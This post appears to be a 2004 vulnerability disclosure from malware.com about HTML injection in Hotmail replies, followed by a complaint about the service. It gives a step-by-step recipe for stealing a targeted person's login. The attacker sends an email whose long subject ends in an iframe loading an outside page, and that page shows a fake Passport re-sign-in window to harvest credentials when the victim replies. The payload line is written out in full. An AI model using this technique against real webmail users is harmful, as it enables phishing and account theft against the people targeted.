Thursday, March 18, 2004 Unbelievably ridiculous insertion of arbitrary html into the Hotmail web based email account of your targeted "buddy". In order to gain your "little pal's" credentials, simply send him or her an email with an extra long subject like so: heylittlebuddyheylittlebuddyheylittlebuddyheylittlebuddyheylittle buddyheylittlebuddyheylittlebuddy heylittlebuddyheylittlebuddyheylittlebuddyheylittlebuddyheylittle buddyheylittlebuddyheylittlebuddy heylittlebuddyheylittlebuddyheylittlebuddyheylittlebuddyheylittle buddyheylittlebuddyheylittlebuddy heylittlebuddyheylittlebuddyheylittlebuddyheylittlebuddyheylittle buddyheylittlebuddyheylittlebuddy heylittlebuddyheylittlebuddyheylittlebuddyheylittlebuddyheylittle buddyheylittlebuddyheylittlebuddy heylittlebuddyheylittlebuddyheylittlebuddyheylittlebuddyheylittle buddyheylittlebuddyheylittlebuddy heylittlebuddyheylittlebuddyheylittlebuddyheylittlebuddyheylittle buddy<iframe src="http://www.malware.com/pithy.html";> Where our iframe points to window.open along with our trojanised passport re-sign in page. When your "chum" replies to your email, our iframe is rendered out of sight in the message body of the email and up goes our error window requesting him to login again. Only this time he'll be sending you his credentials. Notes: 1. this is too pathetic for words. Cursory checking of all settings in hotmail 'reply to' suggests there is no de- activation of html email when composing a reply. 2. consideration was given to informing the owner of this particular web based mail service of this particular issue however we have not used such a poor service in recent years. So much so one can only suspect that such a slovenly operation is intentional in order to force account users to upgrade to the pay service: a) as of three hours from time of writing we are still awaiting receipt of emails into the hotmail account from eight [that's numeral 8] different mail servers. Internal mail messages are instant, but three hours for external is completely unacceptable. b) constant 'server is busy' errors. What does 40 billion dollars buy you today. More acreage around your acreage for more privacy. b) initiation and re-activation of a dormant account of the free webmail account from the owner of this particular web based mail service requires a magnifying glass to see. if you don't have one, you're liable to select the pay for service as it appears there are no other choices. c) use yahoo mail. Instant receipt of emails from any mail server all the time. Reply to html email subject filters tags. End Call -- http://www.malware.com
